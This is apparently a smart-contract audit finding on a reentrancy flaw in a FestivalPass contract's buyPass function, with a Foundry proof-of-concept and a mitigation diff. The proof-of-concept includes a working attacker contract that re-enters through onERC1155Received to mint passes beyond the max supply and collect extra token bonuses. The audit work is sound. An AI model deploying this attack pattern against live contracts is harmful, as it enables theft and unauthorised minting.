Reentrancy attack in FestivalPass:buyPass
allows entrant to buy unlimited festival passes
Description
-
FestivalPass:buyPass
allows users to purchase passes by minting a new pass in exchange for the pass price.
-
FestivalPass:buyPass
does not follow CEI and allows users to purchase more passes then the maximum supply. _mint
makes an external call to send a freshly minted ERC1155 token to the caller and only after _mint
is called is the passSupply[collectionId]
updated
If the receiver of the token is a contract that implements the onERC1155Received
function, the contract can call FestivalPass:buyPass
again, allowing them to purchase as many passes as they want ignoring the max supply of the passes.
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Risk
Likelihood:
Impact:
-
The passMaxSupply[collectionId]
is ignored, allowing unlimited tickets to be purchased.
-
Also an unintended amount of BeatToken
would be minted as bonus for any VIP or BACKSTAGE pass purchases from this exploit. Ex: for VIP tickets, normally only the maximum supply of tickets multiplied by the bonus would be minted in total: passMaxSupply[VIP_PASS] * 5e18
. Since the maximum supply is bypassed, more bonus tokens are created.
Proof of Concept
Attacker creates a contract with the onERC1155Received
function that calls FestivalPass:buyPass
Attacker repeatedly calls the FestivalPass:buyPass
from the attack contract, purchasing more than the max supply of passes.
Place the following into FestivalPass.t.sol
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract FestivalPassTest is Test {
...
function test_BuyPassReentrancy() public {
uint256 BACKSTAGE_PASS = 3;
uint256 BACKSTAGE_NEW_MAX_SUPPLY = 1;
uint256 BACKSTAGE_OVERSUPPLY = BACKSTAGE_NEW_MAX_SUPPLY + 10;
vm.prank(organizer);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_NEW_MAX_SUPPLY);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, BACKSTAGE_PRICE * BACKSTAGE_OVERSUPPLY);
BuyPassReentrancyAttacker buyPassReentrancyAttacker = new BuyPassReentrancyAttacker(festivalPass);
uint256 startingBackstagePassTotal = festivalPass.passSupply(BACKSTAGE_PASS);
console.log("starting number of Backstage passes: ", startingBackstagePassTotal);
vm.prank(attackUser);
buyPassReentrancyAttacker.attack{value: BACKSTAGE_PRICE * BACKSTAGE_OVERSUPPLY}();
uint256 endingBackstagePassTotal = festivalPass.passSupply(BACKSTAGE_PASS);
console.log("ending number of Backstage passes: ", endingBackstagePassTotal);
assertGt(endingBackstagePassTotal, BACKSTAGE_NEW_MAX_SUPPLY);
}
}
contract BuyPassReentrancyAttacker is ERC1155Holder {
FestivalPass festivalPass;
uint256 BACKSTAGE_PRICE;
uint256 BACKSTAGE_PASS = 3;
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
BACKSTAGE_PRICE = festivalPass.passPrice(BACKSTAGE_PASS);
}
function attack() public payable {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
function _attack() internal {
if (address(this).balance >= BACKSTAGE_PRICE) {
attack();
}
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
_attack();
return this.onERC1155Received.selector;
}
}
Recommended Mitigation
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
+ ++passSupply[collectionId];
+ emit PassPurchased(msg.sender, collectionId);
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
- emit PassPurchased(msg.sender, collectionId);
}